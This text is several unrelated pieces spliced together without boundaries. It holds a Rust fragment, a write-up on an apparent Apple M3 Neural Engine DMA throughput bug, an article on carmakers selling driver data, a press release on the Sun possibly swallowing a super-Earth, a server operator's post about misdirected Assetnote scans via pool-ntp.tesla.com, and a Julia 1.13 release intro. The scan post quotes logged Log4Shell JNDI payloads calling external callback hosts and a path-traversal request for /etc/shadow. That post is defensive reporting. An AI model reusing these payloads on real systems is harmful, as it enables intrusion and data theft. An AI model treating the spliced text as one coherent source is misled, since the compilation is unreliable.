                self.battery_info.temperature = *battery_temp;
            }
            _ => {}
        }
    }
}

Introduction

An RTL performance erratum in the Apple M3 Neural Engine throttles DRAM weight streaming throughput down to 17–19 GB/s from the nominal 45–60 GB/s, whenever the total weight size is an integer multiple of 1 MiB, which currently affects 7 of ANEMLL’s 15 models. Avoiding the problematic path in the kernel DMA engine's speculative prefetch ring increased Llama 3.2 1B token throughput from 10.0 to 24.3 tokens/s (DRAM usage from 24.7 to 60.0 GB/s), and Qwen3-8B from 1.36 to 2.97 tokens/s (DRAM usage from 22.4 to 48.7 GB/s).

Discovery

I was profiling the neural engine's DRAM weight streaming throughput (GB/s) for single token decode:

\[ X[1,D] \times W[D,N] = Y[1,N]. \]

At \(N=4096\), I noticed that \(D=1536\) ran nearly 3× faster than \(D=2048\), the default used in Llama 3.2.

STATIC (pure KernelDMA) median µs per replica, N=4096:

D	576	768	1024	1280	1536	2048
rep a	150.4	196.8	238.1	293.8	310.9	997.6
rep b	157.8	190.2	250.1	288.3	326.6	995.0
rep c	148.7	189.6	249.4	275.2	316.5	995.4

Sweeping the D around the neighborhood of D = 2048:

Huh?

At D=2048, throughput was 16.93 GB/s. At D=2016, throughput was 44.5 GB/s, meaning

44.505062 − 16.930761 = 27.574301 GB/s (61.96% lower).

A 27.57 GB/s drop, from 44.5 down to 16.93 GB/s. Note that the sweep data was collected on an M3 Air, repeated across 40 runs, under the same thermal/load conditions in a single run. I also ensured that the ANE register file's DMA size and address were the only variables being changed:

                                   D=2044      D=2048      D=2052
TD+0x004  estimated cycles         0x000001ea  0x000001eb  0x000001ec
TD+0x078  core 1 base              0x000ff800  0x00100000  0x00100800
TD+0x07c  core 2 base              0x001ff000  0x00200000  0x00201000
...
TD+0x0b0  core 15 base             0x00ef8800  0x00f00000  0x00f07800
TD+0x0b4–0x0f0  core sizes ×16     0x000ff800  0x00100000  0x00100800
TD+0x134  Common.Cin               0x000007fc  0x00000800  0x00000804
TD+0x1f0  L2 source stride         0x00007fc0  0x00008000  0x00008040
TD+0x1f4  unknown stride mirror    0x00007fc0  0x00008000  0x00008040
TD+0x214  L2 result base           0x00008fc0  0x00009000  0x00009050

So then I sweep across the whole aperture of D:

That was a good idea, because I'm seeing a resonance at D = 2048. Never thought I’d do an FFT of throughput (GB/s) against tensor dimension (D), but here it is:

Apparently the memory controller's throughput has a dominant harmonic with wavelength 2048 in tensor-dimension space. And sadly, it's a dip :(.

All multiples of D = 2048 are similarly capped at a fixed bandwidth floor of 17-19 GB/s:

At multiples of D = 2048, throughput sharply drops from the nominal 45–60 GB/s down to 17–19 GB/s, and recovers to nominal just ~256 lines away. This is not an RTL correctness bug, as kernel DMA still completes the transfer correctly. But the requests around 2048 are being forced into a separate, credit-starved issue regime, choking throughput by an unreasonable 28–43 GB/s (worst case 60→17), at transfer sizes that are, unfortunately, very common.

Hypothesis 1 - DRAM spatial correlation

Are the 16 cores aliasing onto the same DRAM bank at power-of-two strides?

DRAM is a parallel data interface: DRAM bandwidth is the number of DQ (data) pins times the data rate per pin,

\[ \text{DRAM BW} = N \times R = 128\ \text{bit} \times 6.4\ \text{GT/s} = 102.4\ \text{GB/s} \]

M3's LPDDR-6400's 102.4 GB/s checks out with the advertised 100 GB/s. Sustained DRAM bandwidth is strictly that DQ utilization, and every GB/s short of the 102.4 GB/s DRAM ceiling means every extra cycle that the DQ line sat idle. DRAM TLDR: DRAM memory controller uses parallel accesses to stream bits through the high speed DQ pins; a large DRAM array is divided into banks and bandwidth (roughly) depends on spreading parallel requests across banks.

Parallelism buys throughput if the resources are independent. If parallel requesters go for the same resource, their requests will serialize back-to-back and effectively be throttled at the single rate. A throttled floor at ~17–19 GB/s (while their immediate neighbors run at 45–60 GB/s), could be explained by collapse happening at pow-2 boundaries. It's also good to start low level: additional AXI requests can't do anything if they're requesting the same physical bank.

Core Contention

The neural engine has several avenues of parallelism, the first class being core-level parallelism. ANE has 16 cores in parallel. Cores divide work by partitioning a buffer evenly across \(N\) cores, and mutually agreeing to work on a different slice. We know the cores are assigned to fetch a different slice of the weight buffer, but ANE still has 16 cores all requesting their slice from DRAM in parallel, on the same cycle.

If each core fetches their own slice from DRAM, then streaming latency should take the same amount of time whether one core or all 16 cores are enabled, because their requests should be serviced in parallel. However, if there is reduced bandwidth due to any core contention, then reducing the number of cores could ironically increase throughput, for the throttled D=2048 case. Sweeping the number of active cores for D=2048 and D=2016:

Latency is constant from 1 to 16 active cores for both D=2016 and D=2048, meaning the throttling is present even at the core=1. The problem exists at the per-core level, the problem is replicated across cores.

Address Contention

Even after ruling out core-level contention, I still suspected some DRAM contention due to the power-of-two period. A power-of-two stride like 2048 adds \(2^k\) at each rotation, meaning the lower bits \([0..k-1]\) are constant. DRAM hashes the physical address so that strided access patterns get spatially decorrelated across different banks, so a hash collapsing the lower bits, or aliasing the upper \(2^k\) bit, could explain the pow2 periodicity.

To test if DRAM spatial correlation is the issue, we scramble the address that the weights are fetched from. The address was randomly scrambled and spread across the whole ~64 MiB IOVA arena (59.90 MiB span), so it was scrambled both in-page and out-of-page. To rule out thermal drift on the fanless M3 Air, baseline and scrambled samples were interleaved run-to-run, so any thermal ramp hits both conditions equally.

Median throughput of the baseline was 31.37 GB/s, and median throughput of the randomly scrambled addresses was 32.29 GB/s. The random scramble had a marginally higher sustained throughput of 1 GB/s average, suggesting that we may have attacked some spatial correlation through scrambling in this run, but (1) this is not proven across all cases (2) scrambling cannot recover the ~+200% throughput drop needed to explain the collapse.

Hypothesis 2 - RTL integer wraparound

Recall that the collapse repeated at every integer multiple of D = 2048:

Q: What repeats at exact power-of-two integer boundaries?

A: Integer overflows in fixed-width digital logic.

module line_counter (
    input  wire        clk,
    input  wire        reset,
    input  wire        advance,
    output reg  [13:0] line_count
);

always @(posedge clk) begin
    if (reset)
        line_count <= 14'h0000;
    else if (advance)
        line_count <= line_count + 1'b1; // wrap at 0x3fff + 1 -> 0x0000
end

endmodule

Kernel Dimension

\[ X[1,D] \times W[D,N] = Y[1,N]. \]

Where

• \(D\) (Cin): length of each kernel: \(D\) FP16 (2 bytes) weights, or \(2D\) bytes.
• \(N\) (Cout): Number of kernels. Each core handles \(N/16\) kernels.

Since the original plots swept D with N fixed at N = 4096, we never actually resolved if the notch was caused by \(D\), or the product of \(D\) and \(N\), which determines the net total kernel bytes each core must process over the whole task.

\[ \text{bytes/core} = \underbrace{\frac{N}{16}}_{\text{kernels/core}} \times \underbrace{D}_{\text{weights/kernel}} \times \underbrace{2}_{\text{bytes/weight}}. \]

In case \(D\) and \(N\) affects timing of each slice transfer, to separate unknown variables, we sweep \(D\) and \(N\) inversely so that the compiled task all have the same 1 MiB of static kernel data per core. Hexdiff of executed register file to show that only relevant fields (address, size) changed:

Any combination of D and N makes up the total kernel bytes of 1 MiB per core, collapses core throughput to the observed 17 GB/s. Given that the resident "L1" KMem is 64 KiB per core, we now know there is some speculative prefetch/credit operating on the 1 MiB.

Conversely, we now know that we can avoid the collapse by not transferring multiples of 1 MiB; a compiler can work around it by splitting any task that compiles to exactly 1 MiB kernel DMA per core.

Speculative Prefetch

A high bandwidth memory controller has many reasons to operate on a minimum transfer line granule, and not a single byte (https://www.goodreads.com/quotes/11711388-of-course-i-d-also-suggest-that-whoever-was-the-genius).

Reverse engineering is an art. If every transfer occurs at some line granularity, like the kernel DMA's 64-byte line granule, the kernel DMA controller and any prefetch logic will also have been written in the logical units of lines, and not bytes. Shifting to think in lines now:

At N=4096, every D += 2048 adds 1 MiB to the total bytes requested:

\[ 256\ \text{kernels/core}\times4\ \text{KiB/kernel} =1\ \text{MiB/core}. \]

If kernel DMA line granularity is 64 bytes (we know from \(2^6\) byte aligned addresses), a 1 MiB transfer requests a total of \(\texttt{0x4000}\) 64-byte lines:

\[ 1\ \text{MiB/core}\div64\ \text{B/line} = 16{,}384\ \text{lines/core} = \texttt{0x4000}\ \text{lines/core}. \]

We now suggest some counter wrapping around at \(\texttt{0x4000}\) lines.

always @(posedge clk) begin
    if (reset)
        line_count <= 14'h0000;
    else if (advance)
        line_count <= line_count + 1'b1; // wraparound at 0x3fff + 1 -> 0x0000
end

A wraparound at \(\texttt{0x4000}\) or \(2^{14}\) occurs at 14 bits of storage. What else is \(2^{14}\)? The 16 KiB virtual-memory page size used on Apple Silicon. With 16 KiB pages, address bits (\([13:0]\)) are the page offset and are unchanged by virtual-to-physical translation. A prefetch arithmetic operating on the lower address bits (addr & 0x3fff) would have the 14-bit wraparound.

Define \(k\) as the number of \(\texttt{0x4000}\)-line periods spanned by the transfer, which I will call one lap:

\[ k \equiv \frac{D}{\texttt{0x4000}}, \]

Define \(x\) as the number of lines away from the \(k\)-th notch:

\[ \text{lines/core}= k\cdot\texttt{0x4000}+x \]

Normalized by \(x\), the V notch recovers at exactly \(x = \pm256\) lines around the notch, for all \(k\) laps around \(\texttt{0x4000}\).

64 B/line * 256 lines = 16 KiB = one page. 

The notch occurs exactly in one VM-page worth of DMA lines. This is looking like a lookahead prefetch window sized at a page deep.

Manually overlaying the \(D=2048\) (\(k=1\)) and \(D=4096\) (\(k=2\)) bandwidth curves produces almost identical bandwidth curves, when recentered down to the notch:

Now plot each \(k\)'s bandwidths at each sample of \(x = 0, 32, 64, 128, 256\) (left); notice each \(k\)-curve fans inward and converge as \(x \to 0\).

An important finding is that each lap-\(k\) time curve is literally the lap-1 curve scaled vertically by \(k\); lap 6 is ~6× steeper than lap 1. After re-centering each notch by \(k\cdot\texttt{0x4000}\), every one of the \(k\) bandwidth curves collapses to the same line. The per-lap slopes are genuinely \(k\)-linear in the measured data (R² = 0.96–0.99 each) with a ramp \(= 3.18 \cdot k\) µs/line (right).

Together, these observations suggest that:

• (1) The throttled transfer "profile" repeats every \(k\). If each period experiences the same throttled bandwidth profile, then \(k\) periods put \(k\times\) more bytes through that same profile, giving a \(k\)-times steeper time curve.
• (2) The bandwidth profile within each period is set primarily by the relative displacement from the center, \(x\). Thus the same \(x\) reproduces the same bandwidth state every \(\texttt{0x4000}\) lines. The internal state therefore knows only the position within the current 1-MiB lap, not which lap \(k\) the transfer is in or how many laps remain. A \(k=6\) transfer contains roughly six times as many bytes experiencing that same \(x\)-dependent rate, so its excess latency is approximately 6× that of \(k=1\).
• (3) At \(x=0\), zero times zero is zero, every period lands on exactly the same pathological state. Therefore the transfer rate collapses to the same \(B(0)\) regardless of \(k\). Specifically what scales with \(k\) is not the bandwidth collapse itself, but the amount of data transferred at that collapsed rate:

So \(x\) selects the bandwidth state; \(k\) determines how many times that state is repeated.

Prefetch ring lookahead requests a 1 MiB ring at a time. The ring sees a total transfer size as \(k\)-many repeated 1 MiB pools to fetch:

\[ S(k,x) = 64\,(k \cdot \texttt{0x4000} + x) = k \cdot 1\ \text{MiB} + 64x \quad \text{bytes/core}. \]

If each 1 MiB prefetch has some bandwidth curve \(B(x)\), then the total transfer time is:

\[ t(k,x) = \frac{S(k,x)}{B(x)} = \frac{k\cdot1\ \text{MiB}+64x}{B(x)}. \]

Slope wrt to \(x\) is

\[ \boxed{ \frac{\partial t(k,x)}{\partial x} \approx -k\cdot1\ \text{MiB}\, \frac{B'(x)}{B(x)^2} } \]

Which is \(k\) dominated for small (<256) values of x:

\[ \boxed{ \frac{\partial t}{\partial x}\propto k. } \]

Floor = 18 GB/s over 16 MiB/lap gives 900 µs/lap (matches median_us(x=0)/k = 900). Recovering from floor (~18) to shoulder (~45) over 256 lines roughly halves per-lap time, average = (900−380)/256 = 2 µs/line. If steeper near the boundary (~3.2), the 3.18 µs/line/lap is on the right order.

Likely RTL Bug

Most likely a speculative prefetch ring in the kernel DMA, whose 14-bit head/tail address arithmetic omits a wrap/epoch bit, so a transfer with an exact multiple of the \(2^{14} = \texttt{0x4000}\) aliases "one full lap remaining" to "empty" and starves its own prefetch request pipeline. The speculative path stops issuing enough requests ahead of consumption, so the fetch still happens (it is not a correctness bug), but converts what should be a bandwidth-limited streaming transfer into a stop-and-go transfer.

localparam int RING_LINES = 1 << 14; // 0x4000 lines
localparam int PREFETCH_MAX = 256;   // 256 lines

logic [31:0] transfer_lines; // full DMA length
logic [13:0] rd_ptr, [13:0] end_ptr, [13:0] distance; // 14-bit prefetch ring
logic [8:0] prefetch_credit; // 0..256 lines

// Only the low 14 bits enter the prefetch ring.
assign rd_ptr  = start_line[13:0];
assign end_ptr = (start_line + transfer_lines)[13:0];

// Distance in the 14-bit ring.
assign distance = end_ptr - rd_ptr;

// Prefetch at most 256 lines = 16 KiB ahead.
assign prefetch_credit = (distance > PREFETCH_MAX) ? PREFETCH_MAX : distance;

Apple Silicon's 16 KiB pages (\(2^{14}\) bytes) makes it attractive to operate on 14-bit addresses, since \(\text{addr}[13:0]\) bits are the page offset behind the same contiguous page, and is unchanged from virtual-to-physical translation. However, 14-bit arithmetic aliases every separations of \(k\cdot\texttt{0x4000}\), meaning transfers separated by 0x4000 reproduces the same internal ring state.

// Only the low 14 bits enter the prefetch ring.
assign rd_ptr  = start_line[13:0];
assign end_ptr = (start_line + transfer_lines)[13:0];

Indeed, the 0x4000-line periodicity could be explained by a 14-bit line pointer wraparound arithmetic:

With no epoch bit to recognize it as a "full lap" instead of "done", the prefetcher issues no lookahead for the whole 0x4000-line transfer, causing the whole transfer to choke on the slow no-speculation path pinned at 17–19 GB/s, likely the serialized path.

It makes sense to perform lookahead prefetch for at most a single page. 256 lines of a 64-granule line pointer maps to a single 16-KiB page:

// Prefetch at most 256 lines = 16 KiB = 1 page ahead.
assign prefetch_credit = (distance >= 256) ? 256 : {1'b0, distance[7:0]};

Which explains why the notch fully recovers within a 256-line or page window. More precisely, the suspected ring implementation uses distance from the ring \(x\) to cap the number of additional lookahead requests the prefetcher is allowed to issue:

// Distance in the 14-bit ring.
assign distance = end_ptr - rd_ptr;
// Prefetch at most 256 lines = 16 KiB ahead.
assign prefetch_credit = (distance > PREFETCH_MAX) ? PREFETCH_MAX : distance;

\[ \text{credit}(x) = \min(x, 256). \]

Moving \(x\) lines off the boundary returns \(x\) credits (one refill credit per 64-byte line), up to the 256-line clamp, consistent with recovery being linear-ish in credits, up to a page. This computation never sees \(k\), a transfer of \(k\cdot\texttt{0x4000}\) lines ends with the ring head landing on the same pointer value after k complete revolutions, and each lap would have the same curve \(B(x)\).

Kernel DMA occurs on granularity of 64-byte line widths, so 14-bit line pointer actually spans 2^14 * 2^4 = 1 MiB. A plausible interpretation is that the prefetcher iterates through the 256 lines of a page, then increments a 6-bit page slot:

\[ \text{prefetch ptr}[13:0] = \underbrace{\text{page ptr}[5:0]}_{64\ \text{pages}} \;\Vert\; \underbrace{\text{line ptr}[7:0]}_{256\ \text{lines/page}} \]

page 0:  line 0 ... 255
page 1:  line 0 ... 255
...
page 63: line 0 ... 255
page 0:  line 0 ... 255   // wrap

That way, 256 lines is the lookahead depth, and 0x4000 lines = one complete 64-page ring revolution, which explains both the 0x4000 periodicity and the 256 linear notch window.

The root cause seems to be computing the prefetch distance in the convenient 14-bit address domain.

// BUG:
distance = end_ptr - rd_ptr; // modulo 0x4000
// FIX:
distance = transfer_lines - issued_lines;  // compute with 32 bit

Software Fix

Fix: don't request 1 MiB kernel transfers. The easiest software workaround is to find any kernelDMA task landing on 1 MiB total, and split the 1 MiB across non-1 MiB-multiple chunks, such as two 512 KiB transfers. The sub-ms latency overhead from dispatching N tasks is negligible on the scale of the catastrophic 30 GB/s - 50 GB/s prefetch throttle. The second option is padding the transfer so it's +/- 8 KiB (256 lines) away from 1 MiB, but this is more work since it changes the computation graph.

Splitting the 1 MiB/core transfer restores normal bandwidth:

• One 0x4000-line task: 17.25 GB/s.
• Two 0x2000-line tasks: 45.52 GB/s, 2.66× faster.
• Four 0x1000-line tasks: 44.83 GB/s, 2.60× faster.

The control case confirms that the 2.6x speedup comes directly from avoiding the prefetch bug: splitting a transfer that was not originally a 1 MiB multiple (1 MiB−16 KiB/core), meaning it never hit the prefetch bug in the first place, gives no speedup at all. However, for transfers that were a multiple of 1 MiB, and thus were affected by the prefetch bug, sees a 2.6x speedup. The gain is specifically from avoiding the problematic prefetch bug.

Results

DRAM Throughput

The original throughput stays pinned at 17–19 GB/s for all 1 MiB multiples. The chunked version with 512k splits climbs cleanly to the nominal ~60 GB/s.

D	Transfer size	Original (unsplit)	Fixed (Chunked)	Speedup
2048	1 MiB	17.3 GB/s	43.5 GB/s	2.51×
4096	2 MiB	18.4 GB/s	52.1 GB/s	2.84×
8192	4 MiB	18.8 GB/s	57.8 GB/s	3.07×
12288	6 MiB	19.0 GB/s	59.8 GB/s	3.15×
16384	8 MiB	19.1 GB/s	60.5 GB/s	3.16×

LLM Performance

Affected in https://github.com/anemll/anemll:

Model	Projection	Cin×Cout	k (MiB/lane)	Split S	chunk MiB/lane
Llama 3.2 1B	gate/up/down	2048×8192	2	4	0.5
Llama 3.1 8B / DeepSeek / DeepHermes 8B	q, o	4096²	2	4	0.5
″	gate/up/down	4096×14336	6	2	3.5
DeepHermes 3B	gate/up/down	3072×8192	3	2	1.5
Qwen3-8B	q, o	4096²	2	4	0.5
″	gate/up/down	4096×12288	6	4	1.5
Gemma 3 4B	lm_head shard	2560×16384	5	2	2.5

Llama 3.2 1B

10 tok/s -> 24 tok/s

I expressed it as two partial reductions so the compiler emits two 0x2000-line KernelDMA tasks rather than fusing them back into one 0x4000-line task. E.g. the Llama patch splits the MLP’s three 1×1 convolutions.

Qwen3-8B

1.36 tok/s -> 2.97 tok/s

The amount of data about you that many cars collect — and sell to third parties — is staggering.

Image: Getty Images

How it started

Earlier this year, the Federal Trade Commission issued an unprecedented penalty against General Motors: a five-year ban on selling customer data to consumer reporting agencies and third-party data brokers.

For years, GM had been collecting all sorts of data on its customers — such as how often they sped or whether they drove at night — and selling it to brokers to generate risk profiles for insurance companies. More often than not, drivers were unaware of the degree to which their data was being collected. Many had unknowingly consented to it by signing up for an OnStar connected services plan, which activated a feature called Smart Driver that collected their driving data.

GM was then turning around and sharing that data with two data brokers, LexisNexis and Verisk, both of which work with the insurance industry. In a 2024 blockbuster investigative report by The New York Times, some drivers said their insurance rates went up as a result of the data collection. The enrollment process was so confusing that many vehicle owners had no idea their data was being shared. Under the settlement with the FTC, GM has to make it easier for drivers to turn off location tracking, as well as enable them to access and delete their data collected by the automaker.

But GM isn’t the only automaker vacuuming up data on its customers. A team of researchers from the Mozilla Foundation spent months examining the privacy policies of all the major car companies for a report they were working on in 2023. Their conclusion: Every single one had “horrible privacy and security,” said Jen Caltrider, who helped author the study. Not only that, but customers were forced to accept overlapping policies for the car, the connected services, the smartphone app, and the financial services through which they received their loan — all of which included data collection provisions.

“And so it was really overwhelming trying to understand what was going on,” Caltrider said.

There has been plenty of corroborating evidence for this. Consumer Reports published its own investigation last year that concluded “nearly every automaker that sells cars in the U.S. is similarly collecting and sharing so-called ‘driver behavior data’ with other companies and continues to do so.”

Cars are particularly problematic compared to phones because the privacy controls are less intuitive. A smartphone owner can generally find and tweak their privacy settings. With a vehicle, the data collection is spread across multiple systems and policies, making it much harder for consumers to understand what is happening. It feels like a free-for-all because automakers are collecting enormous amounts of information without much public scrutiny.

How it’s going

After GM was penalized as a result of the Times investigation, the issue of data privacy and cars appears to finally be getting some scrutiny. But as is often the case, policymakers may be missing the mark on how to address it.

Last December, a trio of House Republicans introduced the Data Rights for Information and Vehicle Electronics in Real-time, or DRIVER, Act. According to these lawmakers, the bill “reaffirms a basic principle: if you own the vehicle, you should own the data it generates.”

But while the bill would give vehicle owners a bit more control over their data, it would also allow automakers to continue gathering and selling it to third-party data brokers, which makes it a nonstarter for privacy advocates. As Caltrider notes, access and deletion rights are not the same thing as preventing excess collection in the first place. If an automaker can collect enormous amounts of information and the consumer must then go through an arduous process to discover what was collected and request that it be deleted, the burden remains on the individual. Most privacy advocates would rather see a system in which automakers simply do not collect so much information to begin with.

The issue has even risen to the level of MAGA World. Last July, Donald Trump’s Transportation Secretary, Sean Duffy, sent a letter to Congress outlining the administration’s policy priorities for the upcoming surface transportation reauthorization bill. Tucked in the letter was a new concept called “the Freedom Car,” which Duffy described as Americans’ right to “drive disconnected and non-automated” vehicles. The proposal would ban the government from requiring that vehicles be equipped with automated driving systems or have the capability to transmit data wirelessly — which, to my knowledge, no one is trying to do.

What happens next

It’s unclear whether the DRIVER Act or the Freedom Car will ever clear the hurdles in Washington to become real policies. What is clear is that there is significant demand for simpler vehicles. People are asking why they can’t just buy a car without all the sensors and data collection. They look at new concepts like the Slate Truck and wonder whether they could also use something more bare-bones.

Sure, consumers may accept useful safety equipment such as backup cameras, but many don’t want their vehicle tracking everything they do — and they definitely don’t want to see ads on their vehicle screens. (BMW, I’m looking at you.) Nor do they want Flock cameras tracking their every movement while they drive down the street.

But automakers have every incentive to keep collecting data because there is money to be made from it. As long as the broader data economy rewards companies for gathering and monetizing information, there’s little reason for automakers to voluntarily abandon the practice.

By the way

• Every automaker has its own privacy page where vehicle owners can submit requests, including opting out of data collection. Of course, they’re all buried under mountains of legalese, so good luck finding it.
• Same goes for all the smartphone apps for connected car services. Changing your privacy settings in those apps is generally a little easier.

Read this

• The New York Times’ investigation into GM’s data collection program is worth a read, if just for the flabbergasted reactions from drivers who couldn’t understand why their insurance rates were going up.
• Edmunds and Consumer Reports both did the work to ask every automaker for their data collection policies. There’s a lot of variety across the industry.
• These Redditors are crowdsourcing a list of new cars (from 2019 onward) that aren’t digitally connected and/or transmitting data to the car company’s servers. Spoiler alert: It’s a pretty short list!

An artist’s impression of a star engulfing a planet.

It is thought the Sun may have engulfed a super-Earth-sized planet early in its history.

Now a new study has gone a step further by suggesting that such an event may have left behind detectable clues inside our star which could still be visible today.

This idea of a measurable signature or 'fingerprints' in the present-day solar interior was explored by research published today in Monthly Notices of the Royal Astronomical Society.

Professor Mutlu Yildiz, of Ege University in Turkey, said: "Our new study suggests that a planet several times more massive than Earth may have fallen into the young Sun and left a lasting chemical imprint deep inside it.

"By modelling the Sun's evolution and comparing the results with precise observations of its interior, we find that the ingestion of a super-Earth could help explain long-standing differences between standard solar models and observations, including subtle changes in the Sun's internal structure and its depleted lithium abundance."

Researchers also found that such a world could survive its passage through the Sun’s outer layers while losing very little mass, which suggests that planets may leave detectable fingerprints inside their host stars long after they have disappeared.

For many years, solar models based on the standard physics of stellar evolution have had difficulty reproducing some helioseismic observations simultaneously, particularly the sound-speed structure just below the convection zone and the depth of the solar convection zone.

At the same time, the Sun shows a strong and well-known depletion of lithium at its surface.

"We were interested whether these problems might have a common origin in the early chemical history of the Sun," Professor Yildiz explained.

"Young stars are surrounded by protoplanetary discs, where substantial amounts of material can move between the disc and the star.

"Since planets are made of material that is chemically different from the gas in the disc, we wondered whether the early engulfment of a planet could have left a chemical signature inside the young Sun."

The researchers used the MESA stellar-evolution code to test their idea. They explored different accretion histories and compared the resulting solar models with helioseismic constraints and surface abundances, while also testing alternative explanations involving the equation of state, opacity, and different prescriptions for turbulent and convective mixing.

Their results favour a scenario in which the young Sun engulfed a super-Earth around 5–10 times the mass of Earth.

Importantly, their modelling also does not explain just one puzzle. It simultaneously matches several independent measurements of the Sun, including observations of its interior and its unusually low lithium abundance.

"We thought planetary engulfment might affect the solar structure but did not expect the calculations to converge on such a specific super-Earth mass range," said Professor Yildiz. "That was one of the most interesting outcomes of the study."

He added that while it may not be possible to definitively prove the Sun swallowed a planet, if the predicted structural and chemical signature could be independently identified through helioseismic or other observations, it would provide strong evidence for such an event happening billions of years ago.

Astronomers have long wondered why many other star systems appear to have large super-Earths, while ours has none.

The new study cites previous research from a decade ago by Martin & Livio (2016), which suggested that one or more super-Earths could have formed inside the orbit of Mercury and migrated inward through the gas disc, potentially falling into the young Sun.

However, although this research provided a theoretical pathway for an engulfment event, it did not require that such a planet was ultimately swallowed by our star.

"The earlier work proposed that a super-Earth could have formed and migrated into the young Sun. Our paper asks whether the Sun itself could still carry observable evidence that such an engulfment actually happened, and we believe it could," Professor Yildiz concluded.

"The next step is to see if these fingerprints can be independently detected."

UPDATE: RESOLVED

Patrik from Assetnote reached out to me with a very gracious message, it has been resolved. Thank you!

While it’s not unusual for everything on the dark dungeons of the IPv4 Internet to be subject to a barrage of drive-by scanner traffic and the occasional bizarrely persistent attacker, I noticed something strange while looking through my nginx logs. Persistent attack traffic coming from three particular IPs, with the strange thing being that they were arriving with Host or Referer headers from pool-ntp.tesla.com, carried Assetnote user agents, and were trying to SSRF me to Assetnote callback URLs:

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

The traffic came from three specific scanners: 54.165.75.96, 35.168.63.24, and 52.44.200.251. All of those are in the Amazon Web Services AS (AMAZON-AES).

Assetnote, a legitimate attack surface management tool now called Searchlight Cyber in marketing materials, does indeed use continuous threat exposure scanners like this to perform automated checks for customers’ assets. Assuming this is actual Assetnote traffic (they do indeed use AWS, so that checks out), they must be mistaking me for an internal Tesla asset.

How this happened

Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org. pool.ntp.org is the NTP Pool, a round‐robin of volunteer NTP servers that I’m a part of. (Sidenote, they should be using a vendor zone, not their own CNAME under tesla.com.)

Speculation: Assetnote pulled in everything it could find under tesla.com, including pool-ntp.tesla.com, which CNAMEs to pool.ntp.org, which can resolve to my machine — 67.215.249.229. The asset inventory saves this as a Tesla asset, and starts throwing exploits at me, a stranger.

I emailed Tesla about this, and haven’t heard back yet:

Hi,

Not a vuln in Tesla, and I'm not asking for anything, but I just wanted to let you know that you may unintentionally be being a nuisance.

My server is a member of the NTP Pool. Over roughly the past two days, it has received ~8,000 requests from two of your scanning hosts: <54.165.75.96> and <35.168.63.24>, UA <Assetnote/1.0.0 (ExposureScan)>, with many templated exploit payloads.

Every payload used <pool-ntp.tesla.com> as the target hostname. I assume you have an internal subdomain that resolves round‐robin onto NTP Pool member servers, the vast majority of which are not owned by Tesla. Your asset discovery appears to be unintentionally including every IP that <pool-ntp.tesla.com> can resolve to as in‐scope for active scanning.

No harm caused here, but I wanted to warn you that **you are throwing exploits at strangers’ IPs**.

Happy to share verbatim logs if useful.

Robin
dreamstation.systems / 67.215.249.229

Their traffic

They tried all kinds of exploits against me: path traversal, webshell uploads, probing software internals, probing WordPress and other CMS management endpoints, SSRF, Log4Shell, and a lot more.

There were also callback attempts. 989 requests embedded assetnote-callback.com hostnames for Log4Shell and Text4Shell detection, and 114 named canary.assetnotessrf.com for SSRF:

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

Something funny that I don’t have an explanation for is that fifteen requests carried a Host header login.solarcity.com, all requesting GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll, which I think is some sort of ASP.NET trick trying to resolve /b/(S(x))in/ to /bin/.

I found some other amusing information outside of the Host header. Sweeping the Referer headers, URLs, and query strings turns up hostnames baked into the templates themselves, like this:

GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

Other third‐party hostnames I noticed included servicemcdonalds.com, saferas.com, rsmafghanistan.af, enrichcs.com.au, escience2010.org, al-forno.com.au, and disneyfineart.com.

An RFC 1918 address also appears in the Referer of one probe:

GET /internal/v2/config/mps_secret/ADM_SESSIONID
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

The scanner also tries to talk HTTP at every port it finds for some reason. My SSH, Postfix, and Dovecot have gotten tons of junk HTTP traffic.

On September 8, I started answering the pool-ntp.tesla.com Host with non‐standard status code 299 (to hopefully catch the attention of a human reading the scanner logs), with a body of this notice on every path:

This is not Tesla infrastructure!

This is a hobbyist NTP, web, and miscellaneous server.

Over the past few days, I have been receiving tons of requests at the pool-ntp.tesla.com Host from two Assetnote scanning hosts (54.165.75.96 and 35.168.63.24).

pool-ntp.tesla.com CNAMEs to pool.ntp.org, which round-robins to thousands of volunteer NTP servers, and your scanner seems to have gotten stuck to my server.

You have not caused me any harm, but you are throwing exploits at strangers' IPs.

I have emailed VulnerabilityReporting@tesla.com about this. If you would like, email me back at robin@dreamstation.systems and I can provide detailed logs.

It has unfortunately not seemed to change the behavior so far.

None of their attacks have succeeded, which I’m proud of.

Since August 21, I’ve gotten over 50,000 requests from Assetnote hosts. The traffic has not stopped yet; I will update this post in the future.

(Yes, I could just firewall out their IPs, but it’s very fun to observe this, and I want to make someone at Tesla aware of what’s going on.)

Are they doing this to the entire pool?

I asked the NTP Pool server operator community board if anyone else who happens to run a web server on the same IP as their NTP server is seeing this. One operator, Matt Nordhoff, said he had also been seeing this since August 15:

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
   9126 54.165.75.96
   7461 35.168.63.24
   6123 52.44.200.251
     11 64.227.103.50
      6 146.190.142.16
      4 3.101.230.148
      3 3.88.188.142
      3 3.101.216.68
      2 54.213.2.72
      2 54.202.10.40

but nobody else has said anything. I am wondering if they are re‐resolving pool-ntp.tesla.com every single time and hitting everything the geolocation magic will let them reach, or if they just collected a few pool IPs and are only hammering those.

Julia version 1.13 has been released. We want to thank all the contributors to this release and all the testers who helped find regressions and issues in the pre-releases. Without you, this release would not have been possible.

The full list of changes can be found in the NEWS file, but here we'll give a more in-depth overview of some of the release highlights.

